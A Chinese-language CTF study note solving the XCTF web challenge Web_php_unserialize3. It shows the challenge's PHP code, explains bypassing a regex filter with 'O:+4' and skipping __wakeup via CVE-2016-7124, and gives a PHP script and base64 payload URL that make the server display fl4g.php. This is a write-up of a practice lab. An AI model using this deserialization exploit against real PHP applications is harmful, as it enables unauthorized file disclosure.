「配枪朱丽叶。」

RootのCTF学习笔记。

XCTF-WEB:Web_php_unserialize3

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

看这一段:

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 

[xyz] 字符集合。匹配所包含的任意一个字符。例如,“[abc]”可以匹配“plain”中的“a”
:就是冒号
\d是匹配一个数字字符相当于[0-9]
+匹配前面子表达式一次或多次

可以看对序列化的字符串进行了过滤,其实主要过滤的就是禁止Object类型被反序列化。虽然这样看起是没有问题的,但是由于PHP的一个BUG,导致仍然可以被绕过。只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。
接下来要搞定wakeup方法,CVE-2016-7124,之前有记录:
shawroot.hatenablog.com
又因为 private变量 在序列化后两侧会有 \00 的特殊字符
这个是看不见且无法手工输入的,(这里困扰我很久)所以这道题我使用脚本:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo("fl4g.php");
$a=serialize($a);
$a=str_replace('O:4', 'O:+4',$a);
$a=str_replace(':1:', ':8:',$a);
echo base64_encode($a);
?>

运行得到:TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
所以payload:

/?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==